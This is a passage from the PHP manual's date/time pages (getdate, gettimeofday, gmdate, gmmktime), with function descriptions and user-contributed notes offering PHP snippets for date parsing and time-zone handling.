 * (
 *     [year] => Y
 *     [month] => m
 *     [day] => d
 *     [hour] => g
 *     [minute] => i
 *     [second] => s
 * )
 *
 *  This function is needed for  PHP < 5.3.0
 ********************************************************/
function dateParseFromFormat($stFormat, $stData)
{
    $aDataRet = array();
    $aPieces = split('[:/.\ \-]', $stFormat);
    $aDatePart = split('[:/.\ \-]', $stData);
    foreach($aPieces as $key=>$chPiece)
    {
        switch ($chPiece)
        {
            case 'd':
            case 'j':
                $aDataRet['day'] = $aDatePart[$key];
                break;

            case 'F':
            case 'M':
            case 'm':
            case 'n':
                $aDataRet['month'] = $aDatePart[$key];
                break;

            case 'o':
            case 'Y':
            case 'y':
                $aDataRet['year'] = $aDatePart[$key];
                break;

            case 'g':
            case 'G':
            case 'h':
            case 'H':
                $aDataRet['hour'] = $aDatePart[$key];
                break;

            case 'i':
                $aDataRet['minute'] = $aDatePart[$key];
                break;

            case 's':
                $aDataRet['second'] = $aDatePart[$key];
                break;
        }

    }
    return $aDataRet;
}
?>

Also, if you need to change the format of dates:

<?php
function changeDateFormat($stDate,$stFormatFrom,$stFormatTo)
{
  // When PHP 5.3.0 becomes available to me
  //$date = date_parse_from_format($stFormatFrom,$stDate);
  //For now I use the function above
  $date = dateParseFromFormat($stFormatFrom,$stDate);
  return date($stFormatTo,mktime($date['hour'],
                                    $date['minute'],
                                    $date['second'],
                                    $date['month'],
                                    $date['day'],
                                    $date['year']));
}

?>
Anonymous 12-Sep-2008 03:01
Correct format for a MySQL DATETIME column is
<?php $mysqltime = date ("Y-m-d H:i:s", $phptime); ?>
JonathanCross.com 25-Jul-2008 10:22
<?php
// A demonstration of the new DateTime class for those
// trying to use dates before 1970 or after 2038.
?>
<h2>PHP 2038 date bug demo (php version <?php echo phpversion(); ?>)</h1>
<div style='float:left;margin-right:3em;'>
<h3>OLD Buggy date()</h3>
<?php
  $format='F j, Y';
  for ( $i = 1900; $i < 2050; $i++) {
    $datep = "$i-01-01";
    ?>
    Trying: <?php echo $datep; ?> = <?php echo date($format, strtotime($datep)); ?><br>
    <?php
  }
?></div>
<div style='float:left;'>
  <h3>NEW DateTime Class (v 5.2+)</h3><?php
  for ( $i = 1900; $i < 2050; $i++) {
    $datep = "$i-01-01";
    $date = new DateTime($datep);
    ?>
    Trying: <?php echo $datep; ?> = <?php echo $date->format($format); ?><br>
    <?php
  }
?></div>
chubby at chicks dot com 23-May-2008 03:54
<?php
/**
     * Checks wether a date is between an interval
     *
     * Usage:
     *
     * // check if today is older than 2008/12/31
     * var_dump(currentDayIsInInterval('2008/12/31'));
     * // check if today is younger than 2008/12/31
     * var_dump(currentDayIsInInterval(null,'2008/12/31'));
     * // check if today is between 2008/12/01 and 2008/12/31
     * var_dump(currentDayIsInInterval('2008/12/01','2008/12/31'));
     *
     * Will trigger errors if date is in wrong format, notices if $begin > $end
     *
     * @param string $begin Date string as YYYY/mm/dd
     * @param string $end Date string as YYYY/mm/dd
     * @return bool
     */
function currentDayIsInInterval($begin = '',$end = '')
{
        $preg_exp = '"[0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9]"';
        $preg_error = 'Wrong parameter passed to function '.__FUNCTION__.' : Invalide date
format. Please use YYYY/mm/dd.';
        $interval_error = 'First parameter in '.__FUNCTION__.' should be smaller than
second.';
        if(empty($begin))
        {
                $begin = 0;
        }
        else
        {
                if(preg_match($preg_exp,$begin))
                {
                        $begin = (int)str_replace('/','',$begin);
                }
                else
                {
                        trigger_error($preg_error,E_USER_ERROR);
                }
        }
        if(empty($end))
        {
                $end = 99999999;
        }
        else
        {
                if(preg_match($preg_exp,$end))
                {
                        $end = (int)str_replace('/','',$end);
                }
                else
                {
                        trigger_error($preg_error,E_USER_ERROR);
                }
        }
        if($end < $begin)
        {
                trigger_error($interval_error,E_USER_WARNING);
        }
        $time = time();
        $now = (int)(date('Y',$time).date('m',$time).date('j',$time));
        if($now > $end or $now < $begin)
        {
                return false;
        }
        return true;
}
?>
jc 31-Dec-2007 03:28
date("W") returns the iso8601 week number, while date("Y") returns the _current_ year. This can lead to odd results. For example today (dec 31, 2007) it returns 1 for the week and of course 2007 for the year. This is not wrong in a strict sense because iso defines this week as the first of 2008 while we still have 2007.

So, if you don't have another way to safely retrieve the year according to the iso8061 week-date - strftime("%G") doesn't work on some systems -, you should be careful when working with date("W").

For most cases strftime("%W") should be a safe replacement.

[edit: Much easier is to use "o" (lower case O) instead of "Y"]
mel dot boyce at gmail dot com 06-Apr-2006 01:46
I've been flicking through the comments looking for some succinct date code and have noticed an alarming number of questions and over-burdened examples related to date mathematics. One of the most useful skills you can utilize when performing date math is taking full advantage of the UNIX timestamp. The UNIX timestamp was built for this kind of work.

An example of this relates to a comment made by james at bandit-dot-co-dot-en-zed. James was looking for a way to calculate the number of days which have passed since a certain date. Rather than using mktime() and a loop, James can subtract the current timestamp from the timestamp of the date in question and divide that by the number of seconds in a day:
<?php
$days = floor((time() - strtotime("01-Jan-2006"))/86400);
print("$days days have passed.\n");
?>

Another usage could find itself in a class submitted by Kyle M Hall which aids in the creation of timestamps from the recent past for use with MySQL. Rather than the looping and fine tuning of a date, Kyle can use the raw UNIX timestamps (this is untested code):
<?php
$ago = 14; // days
$timestamp = time() - ($ago * 86400);
?>

Hopefully these two examples of "UNIX-style" timestamp usage will help those finding date mathematics more elusive than it should be.
SpikeDaCruz 09-Mar-2006 08:12
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?php
function getOrthodoxEaster($date){
  /*
   Takes any Gregorian date and returns the Gregorian
   date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>


Get date/time information

  • « date
  • gettimeofday »
  • PHP Manual
  • Date/Time Functions
  • Get date/time information

getdate

(PHP 4, PHP 5)

getdate — Get date/time information

Description

array getdate ([ int $timestamp = time() ] )

Returns an associative array containing the date information of the timestamp, or the current local time if no timestamp is given.

Parameters

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns an associative array of information related to the timestamp. Elements from the returned associative array are as follows:

Key elements of the returned associative array
Key | Description | Example returned values
"seconds" | Numeric representation of seconds | 0 to 59
"minutes" | Numeric representation of minutes | 0 to 59
"hours" | Numeric representation of hours | 0 to 23
"mday" | Numeric representation of the day of the month | 1 to 31
"wday" | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
"mon" | Numeric representation of a month | 1 through 12
"year" | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
"yday" | Numeric representation of the day of the year | 0 through 365
"weekday" | A full textual representation of the day of the week | Sunday through Saturday
"month" | A full textual representation of a month, such as January or March | January through December
0 | Seconds since the Unix Epoch, similar to the values returned by time() and used by date(). | System Dependent, typically -2147483648 through 2147483647.

Examples

Example #1 getdate() example

<?php
$today = getdate();
print_r($today);
?>

The above example will output something similar to:

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

See Also

  • date() - Format a local time/date
  • idate() - Format a local time/date as integer
  • localtime() - Get the local time
  • time() - Return current Unix timestamp
  • setlocale() - Set locale information

User Contributed Notes

eric dot schultz at NOSPAM dot CyVon dot com 17-Dec-2008 03:33
Here is another gmgetdate that is a little faster/suscint (no loops).

<?php
function gmgetdate2($ts = null){
        $k = array('seconds','minutes','hours','mday',
                'wday','mon','year','yday','weekday','month',0);
        return(array_combine($k,split(":",
                gmdate('s:i:G:j:w:n:Y:z:l:F:U',is_null($ts)?time():$ts))));
        }
?>

It also returns the values in the same order as getdate.
timforte at gmail dot com 10-Jan-2008 05:07
It's worth noting that this is local time, not UTC/GMT - gmgetdate doesn't exist :(.

The most logical way to handle date arithmetic without hitting DST problems is to work in UTC...

<?php
function add_days($my_date,$numdays) {
  $date_t = strtotime($my_date.' UTC');
  return gmdate('Y-m-d',$date_t + ($numdays*86400));
}
?>

[it's even faster if you use gmmktime instead of strtotime]
andre at anlex dot co dot za 13-Dec-2006 01:38
I thought best to show a posseble way to go about bypassing the end month issue where the first day in a new month will have the monday of the week that it falls in - in the old month. Use the numbering of days as the constant and work you way from there.

Example:
<?php
//-----------------------------
$now = time();
$num = date("w");
if ($num == 0)
{ $sub = 6; }
else { $sub = ($num-1); }
$WeekMon  = mktime(0, 0, 0, date("m", $now)  , date("d", $now)-$sub, date("Y", $now));    //monday week begin calculation
$todayh = getdate($WeekMon); //monday week begin reconvert

$d = $todayh[mday];
$m = $todayh[mon];
$y = $todayh[year];
echo "$d-$m-$y"; //getdate converted day

?>

Allot less code makes everyone happy..
Yura Pylypenko (plyrvt at mail dot ru) 15-Sep-2003 03:29
In addition to canby23 at ms19 post:
It's a very bad idea to consider day having 24 hours (86400 secs), because some days have 23, some - 25 hours due to daylight saving changes. Using of mkdate() and strtotime() is always preferred. strtotime() also has a very nice behaviour of datetime manipulations:
<?php
echo strtotime ("+1 day"), "\n";
echo strtotime ("+1 week"), "\n";
echo strtotime ("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime ("next Thursday"), "\n";
echo strtotime ("last Monday"), "\n";
?>


Get current time

  • « getdate
  • gmdate »
  • PHP Manual
  • Date/Time Functions
  • Get current time

gettimeofday

(PHP 4, PHP 5)

gettimeofday — Get current time

Description

mixed gettimeofday ([ bool $return_float = false ] )

This is an interface to gettimeofday(2). It returns an associative array containing the data returned from the system call.

Parameters

return_float

When set to TRUE, a float instead of an array is returned.

Return Values

By default an array is returned. If return_float is set, then a float is returned.

Array keys:

  • "sec" - seconds since the Unix Epoch
  • "usec" - microseconds
  • "minuteswest" - minutes west of Greenwich
  • "dsttime" - type of dst correction

Changelog

Version | Description
5.1.0 | The return_float parameter was added.

Examples

Example #1 gettimeofday() example

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

The above example will output something similar to:

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

User Contributed Notes

lucas dot karisny at linuxmail dot org 14-Feb-2005 03:26
A small improvement on getTimer.  Using vsprintf instead of sprintf there is no need to assign the array:

<?php
function utime()
{
  return (float) (vsprintf('%d.%06d', gettimeofday()));
}
?>

In a test on my machine getTimer took 0.037519 seconds to run through 1000 iterations versus 0.027912 seconds for utime.  In total, utime runs about 25% quicker.  The use is negligible in an actual benchmarking scenario, but this could provide a slightly more accurate estimate.  Of course the time it takes to run the function could always be stored at the start and subtracted from your total value each time it is run.
middleto at pilot dot msu dot edu 13-Aug-1999 04:49
The types of DST correction (from sys/time.h on a Linux system):
 0     Not on DST
 1     USA DST
 2     Austrailian DST
 3     Western European DST
 4     Middle European DST
 5     Eastern European DST
 6     Canada DST
 7     Great Britain and Eire DST
 8     Rumania DST
 9     Turkey
10     Australian DST (with shift in 1986)


Format a GMT/UTC date/time

  • « gettimeofday
  • gmmktime »
  • PHP Manual
  • Date/Time Functions
  • Format a GMT/UTC date/time

gmdate

(PHP 4, PHP 5)

gmdate — Format a GMT/UTC date/time

Description

string gmdate ( string $format [, int $timestamp = time() ] )

Identical to the date() function except that the time returned is Greenwich Mean Time (GMT).

Parameters

format

The format of the outputted date string. See the formatting options for the date() function.

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a formatted date string. If a non-numeric value is used for timestamp, FALSE is returned and an E_WARNING level error is emitted.

Changelog

Version | Description
5.1.0 | The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 GMT to Tue, 19 Jan 2038 03:14:07 GMT. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer). However, before PHP 5.1.0 this range was limited from 01-01-1970 to 19-01-2038 on some systems (e.g. Windows).
5.1.1 | There are useful constants of standard date/time formats that can be used to specify the format parameter.

Examples

Example #1 gmdate() example

When run in Finland (GMT +0200), the first line below prints "Jan 01 1998 00:00:00", while the second prints "Dec 31 1997 22:00:00".

<?php
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
?>

See Also

  • date() - Format a local time/date
  • mktime() - Get Unix timestamp for a date
  • gmmktime() - Get Unix timestamp for a GMT date
  • strftime() - Format a local time/date according to locale settings

User Contributed Notes

QED2000 07-Aug-2008 08:14
Here is a very simple UTC timestamp:

<?php

 print gmdate("Y-m-d\TH:i:s\Z");

?>
jhechtf at gmail dot com 25-Jul-2007 05:19
My function for something like this is like so:
<?php
function actual_time($format,$offset,$timestamp){
   //Offset is in hours from gmt, including a - sign if applicable.
   //So lets turn offset into seconds
   $offset = $offset*60*60;
   $timestamp = $timestamp + $offset;
    //Remember, adding a negative is still subtraction ;)
   return gmdate($format,$timestamp);
}
?>
It's always worked fine for me.
Blazeme 15-Jun-2007 12:25
Here, I wrote a function (from code above) for easy time zone
settings.
Regards.
<?php
function datum($datum=true) {
$sign = "+"; // Whichever direction from GMT to your timezone. + or -
$h = "1"; // offset for time (hours)
$dst = true; // true - use dst ; false - don't

if ($dst==true) {
    $daylight_saving = date('I');
    if ($daylight_saving){
        if ($sign == "-"){ $h=$h-1;  }
        else { $h=$h+1; }
    }
}
$hm = $h * 60;
$ms = $hm * 60;
if ($sign == "-"){ $timestamp = time()-($ms); }
else { $timestamp = time()+($ms); }
$gmdate = gmdate("m.d.Y. g:i A", $timestamp);
if($datum==true) {
return $gmdate;
}
else {
return $timestamp;
}

}
?>

If you set first argument to true, it'll return formated date.
If false, will return $timestamp.
Enjoy!
ttech5593 at gmail dot com 28-Mar-2006 11:53
For me most of the examples here needed the + or - seconds to set the time zone. I wanted a faster way to get the time zone in seconds. So I created this :
<?php
$h = "3";// Hour for time zone goes here e.g. +7 or -4, just remove the + or -
$hm = $h * 60;
$ms = $hm * 60;
$gmdate = gmdate("m/d/Y g:i:s A", time()-($ms)); // the "-" can be switched to a plus if that's what your time zone is.
echo "Your current time now is :  $gmdate . ";
?>
It works. Hope it helps.
gefiltefishee at comcast dot net 11-Mar-2006 10:54
I was struggling with how to get my browser to output MY local time using gmdate().

I figured it out and here's what you do (ASSUMING THE SERVER IS ON GMT, If not, just echo a generic gmdate() without timezone setting and calculate the number of hours ahead or behind you are of that time, convert it to seconds and add [for ahead] or subtract [for behind] that value to time() ):

NOTE: these are US times [setlocale(LC_TIME, 'en_US')]

for Central Time (7 hours behind GMT):
gmdate("format", time()-(25200));

For Pacific Time (9 hours behind GMT):
gmdate("format", time()-(32400));

REMEMBER - THE VALUES ABOVE ASSUME THE SERVER IS ON GMT

I used the following gmdate() format:
"l, F jS, Y  g:i a"
but you can use what you like ;)

Hope this helps!
fernandobassani at gmail dot com 28-Dec-2005 02:35
If you have the same application running in different countries, you may have some troubles getting the local time..
In my case, I was having troubles with a clock created with Macromedia Flash... the time shown by the clock was supposed to be set up by the server, passing the timestamp. When I moved the file to another country, I got a wrong time...
You can use the timezone offset ( date("Z") ) to handle this kind of thing...

<?php
$timestamp = time()+date("Z");
echo gmdate("Y/m/d H:i:s",$timestamp);
?>
Sir Derek G 25-Nov-2005 08:00
Here's a nifty little function that returns a random timestamp between two dates.

<?php
//////////////////////////////////////////////////////////
// Return a random timestamp between two dates (inclusive)
// Example: Tue, 08 Nov 2004 06:47:10 GMT
//
// time - Starting time string
// Valid Examples:
// 10 September 2001
// next Thursday
// last Monday
// now
//
// time2 - Ending time string
function randomTimestamp($time = "" , $time2 = "")
{
    if(!$time) $time = strtotime("10 September 2000");
    if(!$time2) $time2 = strtotime("24 November 2005");
    $timestamp = date(" D, d M Y", rand( settype($time , int) , settype($time2 , int) )); //Must be called once before becoming random, ???
    $timestamp = date(" D, d M Y", rand($time , $time2))." ";//Now it's random

    $h = rand(1,23);
    if(strlen($h) == 1 ) $h = "0$h";
    $t = $h.":";

    $d = rand(1,29);
    if(strlen($d) == 1 ) $d = "0$d";
    $t .= $d.":";

    $s = rand(0,59);
    if(strlen($s) == 1 ) $s = "0$s";
    $t .= $s;

    $timestamp .= $t." GMT";
    return $timestamp;
}
?>
rob at geek dot co dot nz 07-Nov-2005 09:06
It's worth noting the distinction between gmgate() and date() with regards to day light savings time. If your server uses universal time and makes an adjustment by locale for daylight savings time, you will want to use date(). gmdate will display the non-adjuisted time.
paul at sysnyx dot com 23-Sep-2005 10:16
Gives user the ability to use their timezone preferences.
I had to create this script for a very large community. I first made any posts to the database that would display the date using just time();

Example: mysql_query("INSERT INTO `table` (`datetime`) VALUES ('".time()."')");

Also, for their timezone preference, I had the values as (example):
(Eastern Timezone) -5 hours
(Newfoundland) -3 hours -30 minutes

This information would be saved in the users table.
To display the date and time in their respective timezone preference:

<?php
function datetime($datetime,$zone){
if(date('I')):$datetime+=60*60;endif;
return gmdate('m-d-Y - h:i:sa',strtotime($zone,$datetime));
}
?>

$datetime would be the information pulled from the database from a post for news, forums, etcetera (remember, the inserted table data for the time was using time();)
$zone would be the information pulled from the database from the users timezone preference.

I also used cookies to store their timezone:
$sth=mysql_query("SELECT `datetime` FROM `table` LIMIT 1");
$row=mysql_fetch_assoc($sth);
echo datetime($row['datetime'],$_COOKIE['timezone']);

Remember to set the 'm-d-Y - h:i:sa' to how you wish the time to display. Visit the manual about date().
ncofreNOSPAMPLEASE at step2u dot com 20-May-2005 01:21
Want to put different International Times in your web?

First create a database including the GMT and the DST (find it f.i. at timeanddate.com). Be careful, because there are several different DST dates and options.

Once you have your function which calculates the GMT hour difference (it can be a decimal!!), sum it to the Unix Time (remember that unix time is GMT, not local: f.i. gmdate("U")===date("U)).

Don't forget to recalculate the GMT difference to seconds before it.

Then format your date using gmdate() (not date()!) and... you've got your International Time!

<?php

$city["Name"] = "Barcelona";
$city["GMT"] = 1.0;
$city["actualDST"] = 1.0; //Because it's summer time

$gmt_diff = $city["GMT"]+$city["actualDST"]; //your functions for getting the hour difference betweer the city and the GMT
$city_time = time()+($gmt_diff*3600); //sum the timestamps
echo gmdate("H:i",$city_time); //echo the formatted date
echo " h. in the beautiful city of ".$city["Name"];

?>
Kogik inc dot -- info at kogik dot com 08-Jul-2004 11:35
Wath out for summer time and winter time...

If you want to get the current date and time based on GMT you could use this :

<?php
$timezone  = -5; //(GMT -5:00) EST (U.S. & Canada)
echo gmdate("Y/m/j H:i:s", time() + 3600*($timezone+date("I")));
?>

this would gives: 2004/07/8 14:35:19 in summer time
and 2004/07/8 13:35:19 in winter time.

Note that date("I") returns 1 in summer and 0 in winter.
www.l-serwis.wpt.pl 13-Nov-2003 10:51
If you want to get time in your timezone try this:

<?php
$zone=3600*0 //GMT
$zone=3600*1 //CET
$zone=3600*-5//USA
$date=gmdate("D M Y H:i", time() + $zone);
?>
08-Sep-2002 06:26
Do not use the "T" timezone specifier to generate "GMT", as this may return "UTC" or "GMT+0000" or "Z" or something else which depends on the running platform, which would not be RFC1123 compliant.

Use 'D, d M Y H:i:s \G\M\T' which forces the value of the timezone indicator.

Note that RFC1123 requires the use of ENGLISH day and month abbreviations. They MUST NOT be localized!

An example of the RFC1123 format for full dates is:
Sun, 06 Nov 1994 08:49:37 GMT

Note the presence of the leading 0 (RFC1123 dates have a fixed size, and space padding is prohibited because it causes problems with fixed size handling when such dates are used in HTTP headers that may compress whitespaces.

Some proxies accept also the ISO 8601 format, but this is not documented in HTTP/1.1 specs (RFC2616).

Examples:
<?php
header('Date: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Last-Modified: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Expires: '.gmdate('D, d M Y H:i:s \G\M\T', time() + 3600));
?>

or if you prefer double quotes and don't want to bother with double backslashes:
<?php
header("Date: ".gmdate("D, d M Y H:i:s", time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s", time())." GMT");;
header("Expires: ".gmdate("D, d M Y H:i:s", time() + 3600)." GMT");
?>
15-Jun-2002 05:09
For an RFC 1123 (HTTP header date) date, try:

<?php
$rfc_1123_date = gmdate('D, d M Y H:i:s T', time());
?>


Get Unix timestamp for a GMT date

  • « gmdate
  • gmstrftime »
  • PHP Manual
  • Date/Time Functions
  • Get Unix timestamp for a GMT date

gmmktime

(PHP 4, PHP 5)

gmmktime — Get Unix timestamp for a GMT date

Description

 int gmmktime
  ([ int $hour = gmdate("H")
 [, int $minute = gmdate("i")
 [, int $second = gmdate("s")
 [, int $month = gmdate("n")
 [, int $day = gmdate("j")
 [, int $year = gmdate("Y")
 [, int $is_dst = -1
]]]]]]] )

Identical to mktime() except the passed parameters represents a GMT date. gmmktime() internally uses mktime() so only times valid in derived local time can be used.

Like mktime(), arguments may be left out in order from right to left, with any omitted arguments being set to the current corresponding GMT value.

Parameters

hour

The number of the hour relative to the start of the day determined by month, day and year. Negative values reference the hour before midnight of the day in question. Values greater than 23 reference the appropriate hour in the following day(s).

minute

The number of the minute relative to the start of the hour. Negative values reference the minute in the previous hour. Values greater than 59 reference the appropriate minute in the following hour(s).

second

The number of seconds relative to the start of the minute. Negative values reference the second in the previous minute. Values greater than 59 reference the appropriate second in the following minute(s).

month

The number of the month relative to the end of the previous year. Values 1 to 12 reference the normal calendar months of the year in question. Values less than 1 (including negative values) reference the months in the previous year in reverse order, so 0 is December, -1 is November, etc. Values greater than 12 reference the appropriate month in the following year(s).

day

The number of the day relative to the end of the previous month. Values 1 to 28, 29, 30 or 31 (depending upon the month) reference the normal days in the relevant month. Values less than 1 (including negative values) reference the days in the previous month, so 0 is the last day of the previous month, -1 is the day before that, etc. Values greater than the number of days in the relevant month reference the appropriate day in the following month(s).

year

The year

is_dst

Parameters always represent a GMT date so is_dst doesn't influence the result.

Return Values

Returns a integer Unix timestamp.

Changelog

Version | Description
5.1.0 | As of PHP 5.1.0, the is_dst parameter became deprecated. As a result, the new timezone handling features should be used instead.

Examples

Example #1 gmmktime() basic example

<?php
// Prints: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", gmmktime(0, 0, 0, 7, 1, 2000));
?>

See Also

  • mktime() - Get Unix timestamp for a date
  • date() - Format a local time/date
  • time() - Return current Unix timestamp

User Contributed Notes

babonk at irc dot freenode dot net 05-May-2009 10:00
GMT time is useful for avoiding the daylight's savings issue.  I had to use it to get a working date difference function:

<?php
function dateDiff($date1, $date2) //returns the difference, in days, between two dates.  avoids the daylight's savings issue by using GMT
{
    $date1 = date_parse($date1);
    $date2 = date_parse($date2);
    return ((gmmktime(0, 0, 0, $date1['month'], $date1['day'], $date1['year']) - gmmktime(0, 0, 0, $date2['month'], $date2['day'], $date2['year']))/3600/24);
}
?>
ben at sixg dot com 16-May-2008 02:17
As an addendum to my previous note (php.net said it was too long and I had to split this part off), I'll leave you with one more fun tidbit. :)

(See the note below this one for a full explanation of timezones versus unix timestamps.)

3 AM PST == 11 AM GMT, right?  11 AM _GMT_ > 3 AM _GMT_ (same timezone) right?  So, logically, 3 AM PST > 3 AM GMT.  (Makes sense right, it is 3 AM in California 8 hours after it is 3 AM in Greenwich.)  Now, because timestamps are timezone-independent (or, always GMT/UTC), you get a strange situation.  mktime(3) > gmmktime(3).  Even though PST is GMT-8, so PST is less than GMT, mktime(3) is _greater_ than gmmktime(3).  At first glance you'd probably expect mktime(3) to be less than gmmktime(3), but because of everything I described before, about how timestamps are always GMT/UTC (or, in some senses, no timezone at all), it ends up being "backwards."  (Run a few examples yourself if you don't believe me.)  Yet another reason not to try to deal with timezones at the timestamp level!
ben at sixg dot com 16-May-2008 01:38
The interaction of timezones with unix timestamps is a bit tricky so I thought I'd clarify so that people aren't led too far astray by Greg's and Glen's comments. :)

In the POSIX standard, "unix time" does not have a specified timezone.  It is universal.  For most intents and purposes you can think of them as always being GMT/UTC.  (And you can derive the UTC time from a "timestamp" by dividing it by 86400 and looking at the modulus.)  Do not ever try to adjust a timestamp by a timezone offset (specifically, do not ever use the code at the end of Glen's note).  Timezones are basically used only when "rendering" a timestamp from "unix time" into a "civil time" date/time string.

Let's take an example.  PST is GMT-8, and EST is GMT-5.  So when it is 3 AM in PST, it is 6 AM in EST.  At that exact moment in time, the _timestamp_ is identical in both time zones.  If I am sitting at my computer in PST, and you are at yours in EST, and I call you up and read you the current unix timestamp on my computer, it will match yours (assuming our clocks are both set accurately for our timezone).

So, time() always will return the same thing at the same actual moment, anywhere in the world.  gmmktime() and mktime(), when given specific time parameters, convert those time parameters FROM the appropriate timezone (GMT for gmmktime(), local time for mktime()), before computing the appropriate timestamp.  Again, for most intents and purposes you can imagine that mktime() first converts your input parameters to GMT and then calls gmmktime() which produces a GMT timestamp.  (For the purposes of this explanation, please ignore the fact that the PHP documentation says that internally gmmktime() calls mktime().)

HOWEVER, when called with no arguments, gmmktime() uses the current GMT time, and mktime() uses the current local time.  So, if you imagine the above conversion taking place where mktime() converts the (current) local time to GMT, it ends up essentially calling gmmktime() with the _current_ GMT time, just like gmmktime() does all by itself.

This is why time(), gmmktime(), and mktime() all return the same exact timestamp, _when called with no arguments_.  This is why Glen saw them all produce the same thing.

Greg wrote that gmmktime() will return something different if you are not sitting in the GMT timezone, but this is only true if you have given it arguments from which to construct a timestamp.

So let's look at that situation again.  Say I am in PST and it's 3 AM PST.  (And therefore it is 11 AM GMT.)  mktime() lets me override one field at at time, and the first argument is, conveniently, the hour field.  So if I call mktime(3), I get the same answer as mktime().  Makes sense, right?  I just told it to give me the timestamp corresponding to 3 AM local time.  If I call gmmktime(11), I get the same answer as gmmktime(), since it is currently 11 AM GMT.  mktime(3) and gmmktime(11) refer to the same exact point in time, because PST is 8 hours behind GMT.  So it makes sense that mktime(3) == gmmktime(11).  And sine mktime() == mktime(3) (at this moment), and gmmktime() == gmmktime(11) (at this moment), it makes sense that gmmktime() == mktime().

Now, back to Greg's note about gmmktime() being different.  With identical arguments, their output will be different, e.g. mktime(3) != gmmktime(3).  This makes sense because 3 AM PST != 3 AM GMT.

Okay, that should be all you need to know to deal with the interaction between timestamps and timezones.  Don't ever try to convert timezones by adding or subtracting to the timestamp.  Timestamps don't really have timezones, it is apples and oranges, and you'll either get the wrong answer in some situations or end up with code that no one can maintain.  Leave it up to the higher-level PHP functions to do the conversion.  (If you want to hack things, strtotime is handy and it can work with timezones; let it do the hard work for you.)
Greg 17-Apr-2008 11:19
In addition to GLEN's post on DEC 5th 2007

(Just a note for others)

The results for the three time types Glen listed under "returns" all returned the exact same timestamp
 - 1196812966

Using those three functions will only make the exact same timestamp if the server the code is executed on IS in GMT timezone.

'mktime()' and 'time()' will both return the timestamp for your server time, and will both be the same as eachother.
gmmktime will return a GMT timestamp.

So if run on a server that is NOT in the GMT timezone then gmmktime will return a different timestamp to the other two.
PHPcoder at freemail dot ig3 dot net 06-Sep-2007 08:26
gmmktime() should ONLY be used to create a timestamp when specifying a specific GMT date and time.

If you want to make a valid time stamp for the current date & time, use mktime() instead.

UNIX timestamps, by definition, store the GMT time relative to the UNIX epoch.

gmmktime() (without any parameters specified) will effectively use the computer's LOCAL time values just the same as if they were explicit parameters, and the resulting time stamp will be incorrect.  (The resulting timestamp will actually be offset in the OPPOSITE direction of the local timezone offset from GMT!)
moshe dot ortov at gmail dot com 13-Jun-2007 09:57
Beware that despite the documentation which states is_dst is ignored, with PHP 5.2 at least, it is not actually ignored and will cause a 1 hour offset on the UTC time returned.

This caused some interesting bugs, especially with the tzdelta function shown from previous posts below - you need to make the final parameter a 0 instead of $ar[8] otherwise you get an off-by-1-hour as a result.

As a result, I now use :

<?php
function tzdelta ( $iTime = 0 ) {
        if ( 0 == $iTime ) { $iTime = time(); }
        $ar = localtime ( $iTime );
        $ar[5] += 1900; $ar[4]++;
        $iTztime = gmmktime ( $ar[2], $ar[1], $ar[0], $ar[4], $ar[3], $ar[5], 0);
        return ( $iTztime - $iTime );
}
?>
mirko at example dot com 31-Oct-2005 01:33
<?php

/**
 * Check if given time is during Europen Summer Time
 *
 * @link http://en.wikipedia.org/wiki/European_Summer_Time
 * @param int $time UTC timestamp (GMT)
 * @return boolean true if it is EST else false
 */
function is_est($time)
{
    // get year
    $Y = gmdate("Y", $time);

    // calc start / end dates and time for that year
    $begin_date = (31 - (5*$Y/4 + 4) % 7);
    $end_date = (31 - (5*$Y/4 + 1) % 7);
    $begin_time = gmmktime(0,0,0,  3,$begin_date,$Y);
    $end_time = gmmktime(0,0,0,  10,$end_date,$Y);

    // if it's in that period
    $is_dst = $time >= $begin_time && $time < $end_time;
    return $is_dst;
}

?>
ranjeet at magnet-i dot com 16-Sep-2005 02:52
<?php
function getTimeRemaining($timeZonePass,
$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
   $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
